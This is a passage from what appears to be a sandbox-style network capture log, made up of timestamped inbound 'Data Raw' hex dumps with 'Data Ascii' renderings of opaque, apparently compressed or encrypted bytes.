b2 c5 c3 9f 7f 49 38 91 7a 4d a9 37 13 3c 35 0f 8b d5 0f 79 99 a7 26 97 9e 3a e6 b9 cc 41 bb 57 1a 39 8b 6b 9a 99 22 8d ed Data Ascii: .exdt4}i0>aAP\|]P1~IKHYO'V4#_!]$R0D2t"~`F(.'bVCfT"`vu@\|)'7EG9U*I8zM7<5y&:AW9k"
2023-05-10 00:21:17 UTC	3296	IN	Data Raw: 39 00 30 c6 7c 0e ed 7d b8 b0 1e 64 70 7e 0c e0 5a a1 e3 22 f1 c1 fc c4 88 f5 f0 81 ec 26 bc 6d e8 69 3b 60 da 5a 0b 56 6b 47 dd 20 8e 3c 4b 95 f2 c2 fb 13 85 db b2 9f a0 28 23 3d 3e 08 b4 6d 74 81 ad 88 2c 19 90 da ce 4f 60 99 f9 4f b9 7b c7 f4 e1 63 b3 bd a3 38 97 7e 91 54 92 fd b8 64 93 da 0a c2 68 82 1c 89 4e 7c 8c 1e e5 0e 7c a1 3c 6e d2 a5 cb 30 01 cf 11 3f 1c 5e f7 68 dc 78 fd 29 c7 b0 0f 85 12 12 cb 4c 65 68 19 da 9a 13 18 b5 9c 49 4b f3 21 ce 27 8d 75 b3 43 d9 7b 7f 3d 2f 8d 18 42 ec 24 80 2a 0f ea 6e 98 13 53 b3 76 6a 69 80 ce fc be dd 43 34 2d de 1c 72 fd 27 36 3f 4b 73 ae 21 25 cb 6b 73 84 47 f5 99 81 74 83 c4 7d 59 c6 f8 e8 3f 00 80 0e 3a 90 e9 2b 16 59 4a b7 a3 6d ad dc 83 fd ca 5b 3e 54 41 10 b3 05 6b 89 a0 35 72 ec 39 ec ba 51 24 a9 ae 3b Data Ascii: 90\|}dp~Z"&mi;`ZVkG <K(#=>mt,O`O{c8~TdhN\|\|<n0?^hx)LehIK!'uC{=/B$*nSvjiC4-r'6?Ks!%ksGt}Y?:+YJm[>TAk5r9Q$;
2023-05-10 00:21:17 UTC	3312	IN	Data Raw: 68 18 a1 c1 6a 32 2c 70 e0 af f5 6c d0 68 29 77 4c 40 2e 97 c7 c1 2b 8e 07 94 f2 a9 0d 9a 92 f9 25 91 85 7e e0 3f 32 c6 b9 6b 10 3b 1d dc 31 5a 27 e4 c4 99 48 50 a3 28 fb b3 a1 af 5a a8 13 ad 5e 9d 93 fe 68 94 fa 0c e0 b6 f4 db c6 69 09 51 d3 19 bc 21 b8 3d 35 f7 5f 22 35 81 1a 56 d4 bf da 87 d0 a7 12 12 b9 c5 f2 8a 44 3c d6 78 d2 68 d4 3e 6d 7e 49 f7 cc 88 ed 66 c4 e7 99 9d 54 de 23 48 b2 41 c0 a0 b3 7e 88 76 c9 08 8c 53 ba 68 4a 43 1b 17 dc ec 46 95 97 27 1c f5 83 63 4f 76 e0 c4 ee e9 64 a8 9a be 90 da a1 db 26 1f 3a f5 88 04 d1 49 73 35 e0 a4 a8 b6 ea 76 b6 bc 5a 08 ea 90 6a 7d 25 bb 1f 91 ba 22 bc 02 ef 83 01 46 de c5 72 8c 08 b8 c9 d4 50 7f 5f 38 d2 c4 6f ec b6 93 57 98 b7 47 7e bf a2 a1 21 b9 27 23 34 1b 3d 4e 45 28 93 47 bb 0b 47 60 9e 1e 8e dd 79 Data Ascii: hj2,plh)wL@.+%~?2k;1Z'HP(Z^hiQ!=5_"5VD<xh>m~IfT#HA~vShJCF'cOvd&:Is5vZj}%"FrP_8oWG~!'#4=NE(GG`y
2023-05-10 00:21:17 UTC	3328	IN	Data Raw: 49 37 30 ed d2 e5 dd d7 70 97 91 27 fc 65 89 49 f7 e3 ce 44 29 3d 9d 90 00 cc 87 17 3b f4 ae f3 f2 94 d8 af c1 b2 36 96 2a 34 84 10 0c e0 59 0f f2 62 f9 ae 0d 22 b7 0a 34 12 e4 56 b7 c2 ac 7c 28 eb a8 a4 ac c5 17 e5 1d dd 2c 37 64 c7 33 50 1b 21 56 31 83 e1 4c 32 df 60 a6 22 ce 9b a7 ef 41 cc 7e c4 87 85 04 01 01 4f 32 a3 82 bc 31 a3 1a e1 18 da aa 1a c0 cc 85 28 59 a2 47 02 fa 78 cb c1 9a ac 86 ae 15 78 c4 16 7f 0d b7 7b 0f d2 95 08 0a b7 5f 8f 1c 18 8b 38 dd 62 02 24 ec 60 fa 59 b2 79 ac 1e 6a af 32 3c 32 a7 0a 85 12 88 96 23 8f 5f a0 5e d5 6f ce 16 fe 1b 75 55 31 89 ec 06 5a 6b 57 05 0c 12 aa 2f bb db b1 45 3d 28 58 7c 16 4f f9 8d 61 3c 74 45 7b d0 e6 5e 0e ac 67 de b6 3e 82 c3 93 fe ec 55 88 07 82 12 4e 25 32 a6 1e b7 85 9b 6b 3f d3 52 47 c2 e9 2a 9b Data Ascii: I70p'eID)=;64Yb"4V\|(,7d3P!V1L2`"A~O21(YGxx{_8b$`Yyj2<2#_^ouU1ZkW/E=(X\|Oa<tE{^g>UN%2k?RG
2023-05-10 00:21:17 UTC	3344	IN	Data Raw: 1d 2b 4d d5 98 54 34 e3 c4 b5 8b 77 80 69 99 61 67 12 62 de f8 46 01 75 a7 f2 6e e9 a0 3b 1d 1b e8 63 ed fa 10 12 c0 31 19 4f 61 cd dd 94 11 d6 88 93 92 a1 2b 60 88 b4 d4 18 b8 25 b6 54 23 24 71 35 0b 05 3e 10 a5 cd 3d cb 89 f5 18 ad dc 54 8e 4c 87 ee 59 61 2f 98 82 1c e7 53 70 cd f0 12 18 31 92 0e ad d7 db d8 7b 6c 5a 8a 7e 64 eb 32 12 a1 8b de 87 e6 a6 b6 49 5b 17 d0 1d 20 06 13 00 9b 26 67 88 0a bf 77 f4 3f 6d 6b 27 80 f0 a8 74 44 5e f2 77 2f 93 ce 39 ee 1e ac e3 03 ad db 5a 8f 61 80 ab ff d0 f7 6f 4f 56 7e 9d 85 f4 65 14 79 d3 ef 28 1b 4e f9 b5 4a 12 22 2f 04 f5 a9 33 59 86 a2 ab a5 dd c1 9e 3b 91 ac 62 c1 c7 ba 99 b1 74 e3 dd 7c 1a 5a fb 0e 89 1e 68 4b 83 db 55 33 a7 1d 9f ee 3c a5 cd 13 95 50 06 d7 b7 bc 54 9d 07 30 9f 30 be e9 9e 13 00 66 1a 4b 64 Data Ascii: +MT4wiagbFun;c1Oa+`%T#$q5>=TLYa/Sp1{lZ~d2I[ &gw?mk'tD^w/9ZaoOV~ey(NJ"/3Y;bt\|ZhKU3<PT00fKd
2023-05-10 00:21:17 UTC	3360	IN	Data Raw: b2 cc e8 1d 8b 6d dd 55 f3 a9 e2 e0 f5 68 f3 2f 85 7a 1a 66 27 b8 d7 a7 d7 d0 df 21 de 04 00 59 34 7a 2f bf e0 56 2b 1d 01 70 8d 3e e0 6c 54 41 e3 32 7c e4 ba 99 a4 26 a3 8c 58 af 48 5c 25 ef 9e b1 58 07 6b e3 d1 57 4a ec ec 54 07 c3 35 fd 28 3f 73 19 50 3f 4e 1c 40 ee e9 5f 33 4c be 49 e1 be 4e 0f 63 82 9e d3 ed f2 7d ed 60 94 c2 00 9e 6b 43 ac 9d 65 48 c8 8f 59 05 ce 2e 27 7a 01 7a a3 3d 65 03 4c c1 3e c2 c6 be 8e 59 35 9b ad 5f bc 40 5f 68 51 2f 5b 27 a6 02 fc b1 ad 5a 22 b7 8a 66 37 94 44 93 9f de ee 97 da f1 5d 55 42 23 e2 bf 28 14 e8 94 00 12 b1 20 e5 ca ec f3 47 57 fd a3 71 48 1b bf dc 7b 0f 5b 84 84 d5 0a 00 7a 7f a0 f8 d4 7f 81 5b f4 99 aa b6 47 e0 1b d9 b6 ae c3 4d 1d 76 ac e2 1e c8 86 07 50 14 64 af 73 c5 7d 66 3a ae 2e 1e c4 d4 e3 51 3d 87 a0 Data Ascii: mUh/zf'!Y4z/V+p>lTA2\|&XH\%XkWJT5(?sP?N@_3LINc}`kCeHY.'zz=eL>Y5_@_hQ/['Z"f7D]UB#( GWqH{[z[GMvPds}f:.Q=
2023-05-10 00:21:17 UTC	3376	IN	Data Raw: 2e 18 94 ec 7e db 2c 1b b0 60 b5 44 54 db 2e 91 df 30 a5 49 96 b7 a9 74 18 1c 6d 13 6f 35 85 40 77 1a f4 c1 4b ff c0 7c 6f d0 28 1c 97 37 62 a4 7f 19 42 4c fa 6d 00 e6 7c 4a 23 55 7c d2 97 a9 ea f1 17 ff 14 83 1f 7a 5f 62 da 90 11 83 77 fe 53 0e 9d f3 9f 04 c5 a3 99 33 b1 85 c1 3a 21 71 bf 79 96 98 de 00 bd 9d 6b c0 59 81 48 d3 d2 d1 f8 64 ce 88 83 9c f8 fa f5 40 c2 50 49 ce e7 cf 3f bd 0b 1a 22 04 ed 39 e2 40 3b 40 98 02 c0 1b 29 5d bf 59 45 8a d2 2f af 46 d1 3c e1 aa c2 5b d1 b9 01 eb 3e cb ea e5 4c 64 e4 3e d2 ea fe 96 bf 25 96 62 bb 93 d8 fa 3e 07 b8 90 8e 0c b8 ad c0 30 ea 1d ee a3 2d 82 07 4e 20 0a 00 fc 67 a9 87 55 1f 6c ff c9 1e c8 25 b9 3b 22 9f 34 99 78 d5 2f 3c f7 32 c3 f5 c5 12 70 dc e0 09 ac 2b 27 d3 99 7e fe bf e5 a2 bd 25 db 9a be f0 d9 60 Data Ascii: .~,`DT.0Itmo5@wK\|o(7bBLm\|J#U\|z_bwS3:!qykYHd@PI?"9@;@)]YE/F<[>Ld>%b>0-N gUl%;"4x/<2p+'~%`
2023-05-10 00:21:17 UTC	3392	IN	Data Raw: 66 c2 8b 4b bf 61 14 a0 0e c5 0a 94 1b ea c6 c0 ac 8a 6f d7 ff af 30 2f f7 2b d5 c2 02 86 df 29 66 51 f3 ec aa 9c e7 e4 61 f6 cc ed 10 fd 00 54 1d d5 bc 16 a0 bf 86 c1 32 03 00 3e 06 05 24 25 41 59 00 74 ce dc ee ed 73 f8 c8 17 01 d8 4b 91 97 99 4c 0a 96 17 c0 3a 9c 6b 2c 55 76 6b 9e 5f 9f 80 12 c5 07 7e ce 55 d6 4f e8 7f 30 68 12 cf 68 e7 e6 ca 8e 3c 68 8a 2f f0 8b a7 33 55 9f c0 5d 5a 7c e2 28 ad 8f e0 a9 04 a2 32 2c 19 1e f3 83 6d 94 42 40 08 9e fc 94 c1 a7 1d 5b 4e f9 4a 10 af 28 12 e4 03 8d ab 96 aa de 38 77 73 e5 39 2d 8e 7c 1a 0a e6 b4 74 b2 11 f2 83 17 99 f0 a7 df 71 4c f2 31 e1 d4 29 b9 94 c4 bd 49 35 6f a1 ef 9d e0 0b a6 ec 5a 19 51 43 1f 42 2d b6 dd 98 ab ad 09 39 b6 52 14 e1 ef 43 59 4c b5 50 9c ad 51 ac 71 bb b3 00 09 86 25 e6 ef cd 88 40 91 Data Ascii: fKao0/+)fQaT2>$%AYtsKL:k,Uvk_~UO0hh<h/3U]Z\|(2,mB@[NJ(8ws9-\|tqL1)I5oZQCB-9RCYLPQq%@
2023-05-10 00:21:17 UTC	3408	IN	Data Raw: 2a 90 2d fd 7b 15 58 15 87 96 12 22 28 c3 2b af da 03 c4 8e 90 d9 49 6d 9e 44 66 a7 e5 f2 69 a0 47 58 5b ba 96 2e fb f0 54 7d cc fd 01 5f 26 b9 a3 c8 7a b9 4e 77 a7 79 6a 72 36 70 0f 78 e2 fe e1 6d 95 3a 74 80 63 2f ce 2e f6 66 7a e5 d4 17 75 8a df 86 b5 5f fa a8 a0 a3 4b 18 7b be 6c 27 72 e6 d6 6c f3 ea 9e 75 f0 1a a4 12 e9 1e 51 a5 04 9c b0 9f 43 5d 84 03 ec 40 a7 2f 81 4b e9 2a 65 78 d8 b6 23 51 68 4f 92 f6 28 a5 a2 d0 43 d3 8e 68 b0 28 d0 33 cc e5 57 34 ad e8 05 0f 46 60 68 70 fc ab 7d 69 4e e5 54 1c 68 28 fa 65 95 6b ba 50 0a 6b f2 59 4c 76 a6 d8 ef aa 86 cd a6 29 0d c5 0f 1a f1 ce ff e1 cc 81 6c 29 10 8d af 19 ad 37 eb 7a 2a 9c 5e 98 f2 66 8c 18 f5 4d 60 f4 e9 bc e0 a8 0e 46 7c e1 92 29 a6 93 1e 5e 0d 98 94 95 a6 f3 72 63 1e 82 bc b8 7f 71 e8 b7 aa Data Ascii: -{X"(+ImDfiGX[.T}_&zNwyjr6pxm:tc/.fzu_K{l'rluQC]@/Kex#QhO(Ch(3W4F`hp}iNTh(ekPkYLv)l)7z*^fM`F\|)^rcq
2023-05-10 00:21:17 UTC	3424	IN	Data Raw: 0b dc 36 75 64 9b 65 52 6a 71 d1 d0 69 f2 a1 71 67 72 c9 76 c3 b8 17 e7 37 8b e1 80 9b 80 22 de 7b 9f 2e b0 24 bf b6 46 ce 0a 56 71 49 5d 2f 1f c6 67 2b 3d 0a 6f cb 1d aa 27 1a 0e e5 da 22 aa ee 19 61 6f 79 b1 fb 37 a8 e6 62 d2 aa 12 ba 12 3e 78 ad 39 ff 44 a1 69 ae 53 45 2f 8e d4 45 d5 b3 eb e6 fb cd 96 96 ff 3b 42 8d 66 07 3d d9 eb 71 6f a9 31 4a b7 6d b8 d3 7d 74 3a 98 5e bc 29 5c 0d 1f bb b6 03 2b 3e 89 f8 f1 05 aa e1 71 61 ee 16 0c 7a 75 d2 f9 65 c4 ea 04 0c 5a 65 a4 28 7f a7 99 2f c8 1f cd 04 37 83 f9 71 fa 3b c4 1e 97 4c 87 68 40 97 f3 29 da 55 87 c9 b0 62 2e fd e6 a0 8a b8 de 3a 2a c1 f8 61 c7 0e 4a 06 7a 4c 61 00 0c 78 39 26 f5 6b e3 b0 ba 8e a4 68 9a 86 cb 37 91 5d 60 6c ee 03 ef c8 da dc b0 b5 ec 93 85 e7 d7 c6 f8 ba 02 35 58 32 d8 7e 17 71 36 Data Ascii: 6udeRjqiqgrv7"{.$FVqI]/g+=o'"aoy7b>x9DiSE/E;Bf=qo1Jm}t:^)\+>qazueZe(/7q;Lh@)Ub.:*aJzLax9&kh7]`l5X2~q6
2023-05-10 00:21:17 UTC	3440	IN	Data Raw: 16 40 92 2f 99 84 e6 c2 51 38 c8 92 78 0d bd 79 78 eb 1d 83 f4 96 6c 32 69 46 35 67 be bf 20 40 82 88 74 c8 bf 82 04 1f 6f 1d 55 e1 09 4b cb e6 94 ad e6 fc 17 9f 40 b8 88 7b b2 19 45 25 42 53 2a d3 61 0e b6 51 e5 30 8f e8 62 7e e2 1b 84 33 94 bb b0 da 31 a1 67 aa 5f 7e e8 2a f5 82 fb 44 60 03 2e 0b 76 54 c6 20 3f 1d 4e c6 48 6c 24 6b 6b 6e 4c 4a 33 36 0f 71 1f 21 7a df 47 da 38 c8 1b 9e cb 38 fc 09 94 6c a7 da b7 69 d8 f4 ee 75 ee b5 45 45 d8 c7 8d be 69 39 23 b6 3b 08 c4 ff a0 a3 85 11 f4 5c 79 c1 b4 30 eb 61 e3 59 90 1d a7 7f ab 4b e1 02 89 8c b7 ec 9c 03 7e 37 5a 90 3a 7e b1 4f 1a 56 3a 6a b0 34 8f f8 ab 06 e5 73 c3 3d 14 4b 62 9a 3f d4 bc c1 c4 2e 84 c0 4f 13 e1 08 db 0f 91 bf 70 c9 3b fe 0f db 40 a6 9d ad 0a 0e e2 d1 96 a2 4d 3d ae e7 54 2f 93 20 1b Data Ascii: @/Q8xyxl2iF5g @toUK@{E%BSaQ0b~31g_~D`.vT ?NHl$kknLJ36q!zG88liuEEi9#;\y0aYK~7Z:~OV:j4s=Kb?.Op;@M=T/
2023-05-10 00:21:17 UTC	3456	IN	Data Raw: cb 8b c2 b3 e7 5c 1e 86 77 d4 8b ae 30 ca 26 05 46 0c 09 ac b7 af f2 be 76 99 dd 49 cc f3 38 bc e7 ce bb 5b b2 67 68 3b de 17 a5 74 25 86 41 e8 76 b3 2f 89 f6 ce 0a b9 b5 c6 9d e9 1b 16 d1 08 5e 1c 86 9a 42 0a 52 c3 4b bf be 9f c3 a8 94 89 89 ec f6 14 b6 29 6e 9d ad f0 5c ba 6d 8f f5 f0 16 43 45 52 70 ae a3 ea 8c 5e 55 b0 5c b3 c1 20 64 4b cb 64 e8 e0 5d 90 fc 47 f8 b0 d8 45 54 e4 d6 7e 09 7e 55 ba bf d1 3b 34 ae 90 05 33 31 d5 f2 29 ad 95 f0 d4 5d 78 d5 1b a3 2b 86 19 a6 ba 14 c3 1b b8 4a 77 75 2e c8 9f 1b d2 5c 64 f5 19 2d b7 2d f9 ed 26 42 b6 d5 18 fd 1c 09 00 d0 9d d6 07 1f 21 bf df b6 fe 22 48 8b b2 d5 52 7a a0 a3 86 ac 0b 57 ff ba 7a 9f 14 92 fc 5f 36 68 6a ad c7 c6 ec be 55 81 85 2e 7a a5 24 c9 b9 c4 38 af ed b9 9e 42 22 28 2b 5c 44 c5 7d f8 07 58 Data Ascii: \w0&FvI8[gh;t%Av/^BRK)n\mCERp^U\ dKd]GET~~U;431)]x+Jwu.\d--&B!"HRzWz_6hjU.z$8B"(+\D}X
2023-05-10 00:21:17 UTC	3472	IN	Data Raw: ba 6c 19 0f 48 a2 4e 32 fd a5 18 fa 19 85 81 eb 88 d6 8a c2 6a 88 61 da 0e be e4 4d f1 9f 96 9a 67 c6 f6 b7 77 c7 3f bf 3d 75 22 9e df 74 3b ae 8f 9f 43 5e 43 c9 f2 7e 1f 97 90 14 6d 89 cf 62 c9 26 41 b7 3d 5b 7e 3a a9 40 a1 cc c0 99 94 de 6f 5a ff 89 ba c9 0e 8a ce 32 9e 35 62 b3 82 e7 f9 3a cf 8e 8c a9 63 f1 76 4e df 17 bb 6d 6e d6 04 80 6b 55 83 26 de de 33 1e 42 7d f3 d0 cf c2 08 2a 50 62 30 0f 1a 97 53 bd 9c ee e4 3b ef ea f1 36 22 7a b8 10 ba cf a4 7b e9 56 eb 3b b8 0d d8 5b f7 92 31 8d 44 53 86 0f b7 8e 0d 01 05 09 e8 6e 03 7e 03 d7 c2 b2 18 9f d5 a6 4e 1b 5c 21 ef bc 67 f8 7a 80 55 f7 83 a4 2d 1c 9d 8c 01 86 84 eb b1 e9 24 df 7e e7 6e fb 22 ad b7 74 67 ee ba 5e bd 96 b7 8a b8 de 59 1e 85 09 d7 4d 68 85 9c 25 5e d5 e7 e3 73 fe 06 96 ee eb 1d 80 3d Data Ascii: lHN2jaMgw?=u"t;C^C~mb&A=[~:@oZ25b:cvNmnkU&3B}*Pb0S;6"z{V;[1DSn~N\!gzU-$~n"tg^YMh%^s=
2023-05-10 00:21:17 UTC	3488	IN	Data Raw: 33 e9 90 62 86 a8 a3 c7 28 de fc ee cb 8e 3c 0d 24 f4 9c b1 77 c6 c8 b3 81 ee e2 9e 99 2c 70 d1 24 1a 8a 29 54 a7 93 52 86 3b 27 8c 97 53 00 c1 c5 09 8f 5e d6 9f c6 93 0d e6 bf a4 35 66 29 40 06 e0 d6 00 b6 be 00 e2 e1 55 32 54 89 8f d8 8c db 4d d5 c1 fd 5e 79 63 d3 3e b7 eb a8 5c b4 0a 8c 82 1f 1e 00 98 cb 42 bb 21 03 9a 78 ff d5 0c 56 09 24 38 d5 22 b2 5e 90 6f 22 90 98 e0 e8 2f ad 80 87 3f 45 c8 f4 50 9b 92 c0 3d 52 f6 60 e7 ce bc c3 d1 f6 e8 b8 1c 2a a3 d1 23 4a ad 59 22 d2 33 f3 4b d6 43 0e 3b 3c 1e a6 70 3e 35 ad a6 87 1e 00 32 32 89 16 6e 10 b4 94 17 0c 2e 91 13 d4 db 91 58 94 c5 dc a2 ee 91 30 90 b0 06 ba 84 87 61 ba a0 c8 05 b8 a4 22 53 64 9b d6 a0 10 8e 37 d8 4d 85 0b 8d 4f ba a4 48 37 7b 3f b5 80 52 7d fc 3e 6c 7b d8 2d 04 5a ea d8 17 c7 8d 25 Data Ascii: 3b(<$w,p$)TR;'S^5f)@U2TM^yc>\B!xV$8"^o"/?EP=R`*#JY"3KC;<p>522n.X0a"Sd7MOH7{?R}>l{-Z%
2023-05-10 00:21:17 UTC	3504	IN	Data Raw: b7 6d 8f 9b 05 a7 ec 4b 95 04 d6 d2 6b cb 6c f0 f3 ca 9a 49 24 bb f7 54 dd 5f c0 37 56 1a 70 cd 04 9c e3 db 3f cc a7 0a 45 db 86 25 8e 2c 10 0b e4 4d b5 a7 df 87 71 bf 18 53 1e 80 be 6c 9e 6d 2d 13 31 2b ca f0 cd e8 45 2f 0d 89 dd 27 36 fe 90 ae d7 27 93 c8 12 55 c5 00 ba 55 6f 29 8d 3d a9 cb 86 83 f4 de 29 cd 46 0b f0 32 c4 25 8d 23 a2 00 6b 2b 71 68 1d 08 8e d8 9b 6b 75 d8 29 93 57 0a e5 d6 3d b0 23 6d 3b f8 4d 0c 23 3e 9e fa e3 de 03 35 56 a2 22 dd e9 e7 b5 b6 f1 66 63 3b df f1 eb d2 2a 7a 19 f3 06 a6 17 2e b9 39 33 a5 d3 d0 bf d2 f7 be 1b 2c 0d cb 61 ca e8 cd 22 d5 8c 02 31 22 c2 d6 18 74 c1 1b 40 cd c4 d6 3d 07 0f dc 5f e3 c4 fd 1b e4 a6 81 57 bd d4 8f 1a b5 9b aa d0 6b c2 24 69 ad 47 62 a4 32 08 07 e3 64 0d c6 03 f5 14 71 95 df d6 f9 27 ed 3d 08 94 Data Ascii: mKklI$T_7Vp?E%,MqSlm-1+E/'6'UUo)=)F2%#k+qhku)W=#m;M#>5V"fc;*z.93,a"1"t@=_Wk$iGb2dq'=
2023-05-10 00:21:17 UTC	3520	IN	Data Raw: 0e d6 95 64 99 6b d5 ca b8 08 2f d8 7e 7a c5 3a c3 05 1a 54 30 03 78 e6 64 5d 64 c4 16 cd bb 38 7f 78 ef 41 ad f5 b0 61 ed 61 d9 3a 48 4a 38 bd 93 66 74 ef a8 90 f4 45 a5 8e 1d ad 20 25 de 88 e2 8c ac 90 66 12 5a 51 ce 81 be 2c cd 8f bf 4b 03 f0 1a c6 a2 74 d7 59 3a a8 78 3a ac fe e6 3f f4 d0 19 a6 7f 73 39 ba 8f f9 f0 55 7a f9 a0 1a 53 8c 2e b3 ab a7 4e 9a 68 3f 42 27 d8 1a cf 46 67 d9 8d 05 50 0d 1e f1 16 a5 48 60 04 a2 33 3f a3 67 54 c4 d3 05 55 9d be 4a 9d fe 54 21 e9 dd 62 2c bb 52 ee d3 e6 0e 81 3f 1f da b8 19 dc d4 10 96 20 76 d5 22 5a ae 1f 71 83 f2 f5 a6 d1 4c 74 ec fb 9e 2f 39 78 23 e3 db f1 7c 58 70 ed 9c 6d 79 be 87 43 12 53 c1 f1 04 ac 30 b6 67 2f 86 d6 2a 67 f1 82 2a 5c 6b 91 67 e1 8b 77 18 e1 5f 7c 20 77 cd 10 3d ee ce 50 e1 cf 44 ce e3 65 Data Ascii: dk/~z:T0xd]d8xAaa:HJ8ftE %fZQ,KtY:x:?s9UzS.Nh?B'FgPH`3?gTUJT!b,R? v"ZqLt/9x#\|XpmyCS0g/g\kgw_\| w=PDe
2023-05-10 00:21:17 UTC	3536	IN	Data Raw: 21 83 3f d3 6a b1 50 cc a2 c9 d4 0b f2 44 27 14 79 4d 20 4d 0c 03 4d 25 c1 5b 7b d3 05 32 b7 0c 31 be 4e 38 44 6b 0b 45 70 25 ff d7 ac 4a 38 bb e4 2e d3 e1 6c 23 e2 38 ea 12 9f f2 fd a0 c9 38 cc 70 b1 e0 11 37 18 c2 66 b3 a6 01 28 77 56 0c 24 1c e2 08 4b e3 ca a6 ff 5d 70 f9 f8 9c 02 68 ef 20 51 02 41 31 78 9e 6e d3 e5 87 08 5c 2f 48 70 14 79 44 01 fd fd a8 10 6d 1b 23 64 0f 5a 83 e4 0d 82 a5 23 6c 1b fa 9d 30 bd 6d b2 c5 32 d8 a7 9b 5e 60 aa 94 5f 52 8a 1a 2f a2 cd 84 b2 43 12 23 b0 11 c3 2d c7 25 b6 47 55 36 7a 80 fe 44 6e 98 aa 54 9a 86 1d 7d 22 61 c4 43 0d f6 96 e8 92 a8 fd f9 4f 8f bd f2 ab c7 60 f7 c9 b8 6a 59 25 8e 0b 1f 25 50 da 85 a9 48 ad f4 4d be f1 31 00 a6 fd 43 0d 63 3d d7 2a 8d 9a e5 bc 3e e1 2e 68 b9 15 91 28 d2 0e 8c 5b 4b 6e a8 1f 7d 2a Data Ascii: !?jPD'yM MM%[{21N8DkEp%J8.l#88p7f(wV$K]ph QA1xn\/HpyDm#dZ#l0m2^`_R/C#-%GU6zDnT}"aCO`jY%%PHM1Cc=>.h([Kn}
2023-05-10 00:21:17 UTC	3552	IN	Data Raw: 39 34 a9 ff ea 46 43 24 45 e2 0c 92 05 ed 24 d4 d5 86 b5 1c ec e8 1b c4 06 68 da 72 1e 5b 30 a2 d6 d0 6a fa e0 27 b0 9c 3f 8d c8 3e b8 f2 d1 c4 15 47 bf f4 05 07 f4 ba b8 e2 00 98 e7 1f c8 40 d0 b0 b9 03 48 43 27 e1 ed df ab 5d af 05 15 d2 79 1b bc 4a 46 1b 77 42 1d 82 26 c4 90 be 19 e0 86 b0 25 d2 d7 ed 24 aa 57 99 83 f0 d5 58 9f 04 d4 6d 09 8d 14 56 0a c5 ec bc ac 67 6a cf 4c bc 19 35 7a 2c 83 2b 1e c1 d2 76 35 42 24 c9 31 76 2e cc 8b c8 e7 1e 1d 21 76 0d 6d a9 0a 85 72 a8 2d 31 50 64 54 54 8f 68 3d ef 61 b2 13 0d 74 31 1b fb 52 0d d5 c2 41 1d f7 fd 37 8e 3b 13 63 aa 9b e1 93 12 ee 52 93 0a 3e 43 d9 86 09 23 76 20 ff 26 48 a9 ae 0e 29 5b b2 b3 41 dd fd 8e cf 0b fc c6 77 bb 0d 55 f5 bc 17 4d f1 50 20 b3 6a 71 c1 d5 13 75 b5 2c e4 a4 6e 66 2e fd 64 41 3e Data Ascii: 94FC$E$hr[0j'?>G@HC']yJFwB&%$WXmVgjL5z,+v5B$1v.!vmr-1PdTTh=at1RA7;cR>C#v &H)[AwUMP jqu,nf.dA>
2023-05-10 00:21:17 UTC	3568	IN	Data Raw: dd 2d 4e 2b 27 96 b4 bd 0e 50 cc 4f cb 08 ff 74 c8 e1 62 d4 a5 14 22 39 4c dc f3 90 4f 1e 02 65 1c 83 25 8e 39 f9 3b 94 58 1e b4 0d 47 33 1b 40 bf 8a 16 04 16 71 76 f5 23 81 2a ba 91 b3 bc 78 71 f6 0f fe 0b cd 24 32 0e f6 29 da 2e bb 81 10 2a b6 44 ad 10 7f 94 92 d4 e8 ad c7 a2 75 ee 4a b4 96 22 78 9f a0 78 aa 86 f7 eb b7 3a 41 80 61 8e ab 71 4a 5c 8e 37 93 2e 85 72 41 5f 75 3b dd 17 4e 28 9c 9b 70 35 84 9e cd 78 bf 1f aa 34 96 db 79 ac ab 03 5c 7c 4f f3 84 f9 a0 b2 3d 03 7a 96 b3 d5 a0 08 4e 6c bb c5 d3 41 58 93 20 14 b0 95 26 93 4e 90 60 43 c0 e7 30 58 cb 2b eb 33 fe 93 a2 47 3a 7c 23 d2 18 cc f0 d8 95 c4 f4 10 05 fc ec d2 e2 35 df be c9 78 f5 13 33 bb f2 4a 2f 01 ca 62 cf 8d 18 5f ba c9 f9 31 a0 9c e8 f3 3a 0b f5 1a 24 46 10 34 55 9e a2 ca 40 da e8 62 Data Ascii: -N+'POtb"9LOe%9;XG3@qv#xq$2).DuJ"xx:AaqJ\7.rA_u;N(p5x4y\\|O=zNlAX &N`C0X+3G:\|#5x3J/b_1:$F4U@b
2023-05-10 00:21:17 UTC	3584	IN	Data Raw: 19 cc 7c 91 c3 0a 5c a7 5f 43 6b a4 0f 73 25 df f1 4e d8 ba 87 04 82 3e c7 a0 b0 ef 0e d7 39 78 bb 4f 77 38 de 32 ed 02 2e 32 71 15 22 db 04 9f 22 b8 2c 54 a4 a3 19 39 83 2c 81 f9 2d fb 71 0e 2f 84 f0 60 d4 9c 69 dd 49 d4 d5 6f 5e 6c dc bc 2c 7a 37 c7 de 11 c0 8c 0c 8d 62 f0 8f 2a 41 3f c3 c8 37 e1 60 3a be e7 31 e4 93 80 85 9d db 99 30 a5 73 13 91 e0 6b ae 21 37 29 82 0c ff 66 f9 1a 7b eb 17 a5 62 79 f1 f3 61 66 36 e0 40 76 c6 66 62 9c 20 60 87 03 cf 59 f7 2f dc 34 ce 55 08 ca cf 23 23 c3 52 8f 86 c2 e5 2c 7e 81 db 67 b7 f9 ee 00 ed 64 c0 6d 9c 3e 02 9f 99 79 86 a9 8a a0 e3 37 4e 61 f5 07 4c 6f 30 f4 19 67 6c 72 23 f2 7f 78 9f c6 fb d5 0b 60 5d 5b 48 0e 1f 84 94 b4 1e 13 57 87 6e 02 d9 85 46 47 24 28 a8 a7 d8 23 59 2e b0 4b f9 88 f4 be 8f a0 94 8e c0 5c Data Ascii: \|\_Cks%N>9xOw82.2q"",T9,-q/`iIo^l,z7b*A?7`:10sk!7)f{byaf6@vfb `Y/4U##R,~gdm>y7NaLo0glr#x`][HWnFG$(#Y.K\
